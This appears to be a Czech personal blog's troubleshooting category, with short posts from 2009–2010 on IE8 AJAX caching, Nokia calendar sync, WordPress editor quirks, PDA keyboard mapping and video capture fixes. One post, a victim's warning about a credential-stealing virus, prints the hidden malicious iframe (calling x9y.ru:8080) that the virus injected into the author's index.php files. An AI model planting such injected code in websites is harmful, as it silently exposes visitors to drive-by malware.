Články z rubriky ‘Zákysník’
Pátek, Červen 4th, 2010
V dnešní době vítězí jednoduchost nad propracovaností, rychlost nad funkčností. V duchu tohoto trendu Internet Explorer 8 nepochopitelně nenačítá dynamický obsah generovaný php skriptem, který nahrávám pomocí AJAXu. Nepochopitelně proto, že když už něco načítám dynamicky pomocí skriptu, tak se dá snad logicky předpokládat, že chci ten obsah dynamicky měnit.
Ale ne, vývojáři Microsoftu usoudili, že je lepší zrychlit zobrazení stránek tím, že se to prostě načte jen jednou (url skriptu je přeci stejná, tak což), a pak už se to jen sype z cache.
Proč to může umět správně např. Opera, která je i tak přesto rychlejší??? Proč to v Internet Exploreru 7 ještě šlo??? Sakra jak já nesnáším tyhle „inovace“.
Naštěstí jde i tento prohlížeč přinutit ke standardnímu chování. Do hlavičky dynamicky načítaného php skriptu se musí dát header expire:
<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
?>
No sláva, už to zase funguje, během těch několika hodin jsem mohl udělat něco užitečnějšího...
Publikováno v Blog, Vývoj software, Zákysník | 1 Komentář »
Středa, Duben 14th, 2010
Pokud spustíte instalaci a nic se nestane (hned spadne), nebo vyskočí chybová hláška „Internal Error 2739″, je potřeba spustit příkazový řádek jako admin a zadat „regsrv32 jscript.dll“ měla by se objevit hláška o úspěšné registraci knihovny a mělo by to běhat…
Publikováno v Zákysník | Žádné komentáře »
Středa, Prosinec 9th, 2009

Tak jsme vyřešili další pěkně zapeklitý oříšek. Známý mi přinesl svůj notebook a Nokii N95. S tím že si chce vytvářet události v počítači i telefonu, pak to pomocí Nokia PC Suite obousměrně synchronizovat. Události v blízké době se synchronizovaly OK. Jenže všechny události, které vytvořil teď v prosinci (zimní čas) např. na květen příštího roku (letní čas), byly vzájemně po synchronizaci TELEFON<->PC vždy posunuté o hodinu. Jedno zda byly vytvořené v PC či telefonu.
Zkoušel jsem samozřejmě nejnovější Nokia PC suite i reinstalaci Outlooku. Marné. Oboje zařízení byla nastavená na časové pásmo GMT+1 (Praha). Na internetu, kde je jinak všechno, jsem našel ve fórech mnoho dotazů na stejný problém, ale nikde žádná odpověď. Jiný známý, který má také symbian mi na dotaz řekl, že mu to dělalo přesně to samé a „vyřešil“ to tím, že přestal používat obousměrnou synchronizaci a místo toho si vše píše jen do telefonu a sychronizuje jen jednosměrně mobil->outlook…
Řešení ale existuje! Je jednoduché, ale je těžké na to přijít, protože je to naprosto nelogické. Na telefonu zvolit nastavení -> datum a čas -> a povolit „čas operátora sítě – automaticky aktualizovat – ano“. Inu, i Symbian má své zapeklitosti.
Publikováno v Blog, Zákysník | Žádné komentáře »
Čtvrtek, Listopad 26th, 2009
Wordpress je můj oblíbený redakční systém, ovšem… má jako všechno i své mouchy. Zrovna jsem narazil na jednu masařku – při použití vestavěného WYSIWYG editoru pro psaní příspěvků odstraní při uložení všechny prázdné řádky v příspěvku, takže prakticky nejde vůbec odřádkovat pomocí klávesy ENTER.
Prý je to vlastnost, a ne chyba. Ale vysvětlujte to lidem, kteří prostě potřebují odřádkovat! Také pokud se přepnete do html, ručně vložíte kód, tak po přepnutí zpět do WYSIWYG editoru a uložení dojde ke k vynechání nebo přidání tagů
Řešením tohoto problému je instalace a aktivace pluginu TinyMCE Advanced, který nahradí ten ve Wordpressu vestavěný.
Aby to fungovalo jak má, je ještě potřeba provést zaškrtnutí volby „Stop removing the <p> and <br /> tags when saving and show them in the HTML editor“ v konfiguraci tohoto pluginu.
Publikováno v Blog, Grafika&Webdesign, Hudba, Zákysník | Žádné komentáře »
Čtvrtek, Listopad 5th, 2009
Některé webové stránky používají jako ochranu proti kopírování obsahu to, že zabrání zobrazení kontextového menu, které se objeví po stisknutí pravého tlačítka myši. Toto menu obsahuje například často používanou funkci „uložit obrázek jako…“
Lze toho dosáhnout například takto:
<body oncontextmenu=“return false“ onmousedown=“return false“ onselectstart=“return false“ ondragstart=“return false“>
Zkušený uživatel si zobrazí zdrojový kód stránky, a potřebné věci si zkopíruje odtud. Nedávno jsem objevil, že existuje i jiný fígl, mnohem jednodušší – stisknout pravé tlačítko myši společně s kolečkem. Chce to jen trochu cviku. Nádherná praktická ukázka výhod objektově orientovaného operačního systému WINDOWS
Publikováno v Blog, Zákysník | 1 Komentář »
Pátek, Říjen 30th, 2009
Myslím že IQ testy jsou docela jednoduché, pokud si jich člověk několik vyzkouší, aby pochopil princip kladených otázek. Pokud ale skočíte do IQ testu naprosto bez přípravy, může přijít naprosté zatmění… Což se mi stalo u téhle otázky:
Nakonec se mi rozsvítilo, ale schválně, za jak dlouho na to přijdete vy, co že to má být místo otazníku
Publikováno v Blog, Zákysník | Žádné komentáře »
Sobota, Září 12th, 2009

Několik lidí mi napsalo dotaz, jak jsem zprovoznil češtinu na PDA HTC touch HD ve spolupráci s externí full-size qwerty klávesnici freedom bluetooth keyboard. Takže návod je zde:
1. Dodaný driver ke klávesnici na CD mi vůbec nefungoval, nakonec jsem usoudil že je to tím, že mám custom ROM od Duttyho, která má v sobě vlastní bluetooth HID profil pro klávesnici.
2. Klávesnice tak funguje i po spárování bez instalace driverů, ale nejde čeština a nefungují speciální kombinace kláves.
3. K tomu jsem použil program AE Keyboard Mapper. Ten vznikl pro možnost psát na PDA azbukou, ale lze vytvořit libovolné namapování kláves tak, tedy i pro češtinu. Veškerá dokumentace je na stránkách programu.
4. Aby jste se s tím nepiplali, tak tady je mnou vytvořená české klávesnice: czech keyboard.AEK. Není možná stoprocentní, ale obsahuje všechny znaky, které běžně potřebuji, pokud vám budou nějaké chybět, lze snadno doplnit a upravit.
5. Problém tomuto programu dělá softwérový HTC keyboard (blokuje některé klávesy), takže silně doporučuji přejít na známý skvělý finger keyboard, který je v tomto ohledu zcela bezproblémový.
6. Když už máte HW klávesnici, je obtěžující neustálé automatické vyskakování té softwérové, takže doporučuji např. pomocí programu schap’s advanced configuration tool zakázat možnost „auto deploy SIP“.
7. Za pozornost stojí i program AE button plus stejného vývojáře. Ten umožňuje přiřadit systémové akce hardwarovým klávesám, tedy i těm co jsou na freedom bluetooh keyboard. Například s ním lze nadefinovat to ,že pomocí kombinací kláves přepínáte aplikace (ALT-TAB), spouštíte programy, atd.
Publikováno v Blog, PDA, Zákysník | 8 Komentářů »
Čtvrtek, Červenec 30th, 2009
Pozor, šíří se viry, které dokáží vycucnout z TotalCommandera přístupová údaje k ftp účtu a následně změnit vaši www prezentaci!!!
Včera jsem měl zavirovaný počítač a dnes ráno to mělo pokračování v podobě mých nefunkčních www stránek. Naštěstí nefunkčních, protože jinak bych si ničeho nevšiml. Do každého souboru s názvem index.php jsem měl přidán navíc tento cizí kód:
<iframe src=“http://x9y.ru:8080/ts/in.cgi?pepsi120″ width=125 height=125 style=“visibility: hidden“></iframe>
Je to kód, který se na vzhledu a funkčnosti www stránek běžně nijak neprojeví (díky bohu u mě náhodou způsobil chybu skriptu), ale způsobí, že se návštěvníkům zároveň s prohlížením vaší stránky spustí kód nějakého ruského hekerského šmejda pod nickem „pepsi120″. Je „vtipné“, že tento škodlivý kód on může variabilně měnit, podle svých nekalých plánů. Zatím skript nedělal nic, jen zřejmě registroval počet spuštění, to aby mr. „pepsi 120″ věděl, kolik webů už infikoval.
To je tedy průšvih, protože dosud jsem měl zato, že když se člověk vyhýbá „pornu a warezu“, tak je surfování po webu relativně bezpečné. Už není. Tímto mechanismem může být napadena jakákoliv „seriózní“ stránka…
Protože jsou výrobci virů vždy o krůček napřed, obávám se, že ani investice do drahých softwérů není to pravé. Na počítači mi běží Avast, Windows defender a Spyware terminator, a stejně jsem byl infikován při prohlížení běžného webu. Řešení může být snad investice do něčeho takového jako http://www.sandboxie.com/
Více o nebezpečí ukládání hesel v TC zde:
http://www.dsl.cz/clanky-dsl/clanek-1018/Nebezpecny-Total-Commander
Publikováno v Blog, Zákysník | 3 Komentářů »
Pátek, Červen 26th, 2009
Vždycky když programuju, zdá se mi okno, ve kterém píšu kód menší než bych potřeboval. Ve vyspělých IDE, např. Microsoft visual studiu se otevře kolem navíc spousta toolbarů a dalších pomocných oken. Ty jsou sice nezbytné, ale zabírají moc místa. Zkrátka málo místa na skutečnou práci.
Existuje však jednoduchý způsob jak na to vyzrát – snížit dpi monitoru. Kliknete pravým tlačítkem na plochu, vlastnosti, nastavení, upřesnit, a zde nastavíte dpi. Je však nutné jej snížit jen tak, aby zůstal text čitelný. Používám momentálně 82 dpi místo výchozích 96 dpi, a je to mnohem lepší.
Ikonky, menu, tlačítka, popisky, vše je menší, a nezabírá tolik místa, zkrátka celé je to mnohem přehlednější než bylo původně.
Publikováno v Blog, Software, Zákysník | Žádné komentáře »
Sobota, Květen 23rd, 2009
Pokud si nagrabujete video pomocí software třetích stran (např. skvělý freeware Exsate DV Capture Live) , může dojít a dochází při importu těchto nagrabovaných souborů do Adobe Premiere k totálnímu vytuhnutí celé premiéry při následném generování „peak souborů“, což jsou soubory pro grafické zobrazení úrovně hlasitosti zvuku těchto souborů.
Problém je v tom, že zvuková stopa nagrabovaného AVI je o malilinko kratší či delší než video stopa. Tato chyba je buď na začátku, nebo častěji na konci grabovaného AVI. Velmi jednoduše a rychle to jde opravit pomocí programu VirtualDub. Stačí načíst nagrabovaný AVI soubor, odmazat malinký kousíček na začátku či na konci, zvolit u audia i videa „direct stream copy“ a uložit takto oříznutý soubor do nového souboru..
Publikováno v Blog, Zákysník | Žádné komentáře »